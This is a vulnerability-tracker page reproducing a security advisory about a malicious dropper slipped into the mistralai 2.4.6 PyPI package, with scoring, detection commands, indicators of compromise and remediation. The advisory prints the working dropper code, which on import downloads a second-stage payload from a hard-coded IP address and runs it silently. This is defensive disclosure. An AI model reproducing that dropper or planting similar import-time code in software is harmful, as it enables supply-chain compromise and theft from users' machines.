GHSA-wx9m-wx4f-4cmg: Malicious dropper in mistralai 2.4.6 PyPI package
Noroxi assessment
Priority: Monitor (action score 38/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. A user must open a link or visit a page. No special conditions are required; it is repeatable.
- According to the record, no fixed version is available yet.
Low priority for now. Update when a fix is released; follow the vendor's advisory.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
The `mistralai` PyPI package version `2.4.6` contains a malicious dropper that executes on import on Linux. No `v2.4.6` tag, commit, or release workflow run exists in this repository, the legitimate latest version before the upload was `2.4.5`, and the upload bypassed this repository's normal release pipeline (which uses PyPI Trusted Publishing). The `mistralai` PyPI project is currently quarantined. ## Affected - `mistralai==2.4.6` on PyPI. Versions `2.4.5` and earlier are not known to be affected. ## What the malicious code does A function named `_run_background_task` was added to `src/mistralai/client/__init__.py` and called at module-load time. Reproduced from the public report in [#523](https://github.com/mistralai/client-python/issues/523): ```python import subprocess as _sub import os as _os def _run_background_task(): if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"): return _os.environ["MISTRAL_INIT"] = "1" _url = "https://83.142.209.194/transformers.pyz" _dest = "/tmp/transformers.pyz" try: if not _os.path.exists(_dest): _sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15) if _os.path.exists(_dest): _sub.Popen( [_sys.executable, _dest], stdout=_sub.DEVNULL, stderr=_sub.DEVNULL, start_new_session=True, env=_os.environ.copy() ) except: pass _run_background_task() ``` On Linux only, the function: 1. Returns early if `MISTRAL_INIT` is already set in the environment. 2. Sets `MISTRAL_INIT=1` so the spawned child does not re-trigger the dropper if it imports `mistralai`. 3. Downloads `https://83.142.209.194/transformers.pyz` to `/tmp/transformers.pyz` with `curl -k -L -s` (TLS verification disabled, 15 s timeout). Skips the download if the file is already present. 4. Spawns `transformers.pyz` with the current Python interpreter (`sys.executable`) as a detached process via `Popen(..., start_new_session=True)`, with stdout and stderr discarded and any exception silently swallowed. On non-Linux platforms the function returns immediately and does nothing. The trigger is `import mistralai`, not package installation. `pip install` of a wheel does not execute package code; for an sdist it runs PEP 517 build hooks but those are in `setup.py` / `pyproject.toml`, not in `__init__.py` — so `pip install`, `pip download`, and `pip wheel` do not invoke this dropper. The contents of `transformers.pyz` are not in the package and were not analyzed in this advisory. The behavior of the second-stage payload on the host is therefore unknown. ## Recommendation Any Linux environment that imported `mistralai==2.4.6` should be treated as potentially compromised pending forensic review. Rotate every credential reachable from the importing process and review host and cloud audit logs for activity from approximately 2026-05-12 00:05 UTC onward (per the timing reported in #523). ## Check whether you are affected Installed version: ```bash pip show mistralai | grep -i ^version ``` Dependency files and lockfiles: ```bash grep -n -E 'mistralai\b.*2\.4\.6' \ requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile Pipfile.lock 2>/dev/null ``` Dropped file on disk: ```bash ls -la /tmp/transformers.pyz ``` The presence of `/tmp/transformers.pyz` on a host that imported `mistralai==2.4.6` indicates the download step ran successfully. Combined with absence of `MISTRAL_INIT` in the host's process environment history, it does not by itself confirm the second-stage executed; conversely its absence does not rule out execution if the file was cleaned up. ## Remediation 1. Pin `mistralai` to `2.4.5` or earlier. While the PyPI project is quarantined, install from this repository at a known-good tag, e.g. `git+https://github.com/mistralai/client-python.git@v2.4.5`. 2. On affected Linux hosts, rotate every credential reachable from the importing process and review host and cloud audit logs. ## Indicators of compromise All IOCs below come from the public report in [#523](https://github.com/mistralai/client-python/issues/523). - File: `/tmp/transformers.pyz` - Process: a Python interpreter (`sys.executable`) running `/tmp/transformers.pyz` detached from the parent's process group, with stdout/stderr to `/dev/null` - Environment variable: `MISTRAL_INIT=1` - Outbound HTTPS to `83[.]142[.]209[.]194` from `curl` (no TLS verification) - Function added to the package: `_run_background_task` in `src/mistralai/client/__init__.py` - SHA-256 of the malicious sdist (as reported in #523): `6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b` ## References - Public report with the dropper code: https://github.com/mistralai/client-python/issues/523 - Quarantined PyPI project: https://pypi.org/project/mistralai/
- Published
- May 18, 2026
- Updated
- May 18, 2026
- EPSS
- —
- CWE
- CWE-506
Report tools
Action score
38
Low priority for now.
- CVSS
- 38 / 40 · 9.6 / 10
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
Get told when this record changes
- Not in KEV: no record of exploitation in the wild
- No public exploit code on record
- No fixed version yet
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What does it mean in your environment?
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| Vendor | Product | CPE |
|---|---|---|
| PyPI | mistralai | pkg:pypi/mistralai |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| PyPI | mistralai | from 2.4.6 · up to and including 2.4.6 | — |
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
No fix version is recorded for this entry. Check the references for vendor advisories.
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- A user must open a link or visit a page.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- high · data can be read
- Integrity
- high · data or configuration can be modified
- Availability
- high · the service can be disrupted
Impact can extend beyond the vulnerable component (scope changes).
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Changed
- Confidentiality impact
- High
- Integrity impact
- High
- Availability impact
- High
Weakness class (CWE)
CWE-506 · Embedded Malicious CodeCVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
ATT&CK techniques
- Data Obfuscation: SteganographyT1001.002
- Obfuscated Files or Information: SteganographyT1027.003
- Obfuscated Files or Information: Compile After DeliveryT1027.004
- Obfuscated Files or Information: Embedded PayloadsT1027.009
- Supply Chain Compromise: Compromise Software Dependencies and Development ToolsT1195.001
- Supply Chain Compromise: Compromise Software Supply ChainT1195.002
- Signed Binary Proxy Execution: Compiled HTML FileT1218.001
- Template InjectionT1221
Change log (0)
No changes recorded on tracked fields yet. Score, KEV, exploit maturity and fix status changes appear here.
References
Show all references (5 more)Show less
- github.com/mistralai/client-python/issues/523
- github.com/mistralai/client-python
- safedep.io/mass-npm-supply-chain-attack-tanstack-mistral
- socket.dev/blog/tanstack-npm-packages-compromised-mini-shai-hulud-supply-chain-attack
- www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem
Vendor advisories and official records. Exploit/PoC links are deliberately left out.